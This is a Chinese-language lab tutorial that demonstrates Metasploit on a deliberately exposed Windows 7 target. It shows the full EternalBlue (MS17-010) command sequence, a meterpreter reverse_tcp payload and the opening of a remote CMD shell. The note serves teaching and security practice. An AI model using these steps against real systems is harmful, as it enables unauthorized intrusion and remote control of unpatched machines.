这篇笔记我们以MS17-010
(永恒之蓝)漏洞为例,演示MSF的使用方法。
我们这里使用一台Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)主机作为靶机。靶机中我们将网络连接切换到「工作网络」,然后在高级共享设置中开启和SMB相关的共享设置,此时该靶机会打开存在永恒之蓝漏洞的445端口供我们实验。
我们使用msfconsole
命令进入MSF工具命令行,然后使用exploit/windows/smb/ms17_010_eternalblue
模块发起攻击。
use exploit/windows/smb/ms17_010_eternalblue
执行命令后,模块提示我们它自动选择了windows/x64/meterpreter/reverse_tcp
这个payload模块。
meterpreter是一个payload(攻击载荷)模块,攻击成功后我们可以用它建立一个到靶机的远程连接,meterpreter支持很多种不同的连接方式,reverse_tcp
是其中比较常用的一种,它可以理解为需要攻击者开放一个TCP端口,payload执行后会在靶机中主动连接攻击者的主机,供攻击者操作靶机。
此时我们还需要配置一些参数,我们可以使用命令查看需要设置哪些参数:
show options
根据提示,我们需要设置RHOSTS
参数,即靶机的地址。我们执行以下命令进行设置:
set RHOSTS 192.168.1.221
其它参数我们根据实际情况进行设置。此时我们就可以发起攻击了,执行run
命令即可:
run
我们可以看到,此时我们已经进入了meterpreter
命令行,这说明我们漏洞利用成功并已经在靶机中执行了payload中的代码,我们可以输入help
命令查看meterpreter中可选的操作。
例如我们输入shell
命令,即可打开靶机的CMD命令行。
我们可以看到图中出现了中文乱码的情况,这是由于Windows系统的中文编码使用GBK,而Linux终端默认使用UTF-8的原因,我们可以在靶机的命令行中执行chcp 65001
将其命令行设置为UTF-8,此时我们执行的CMD命令就不会乱码了。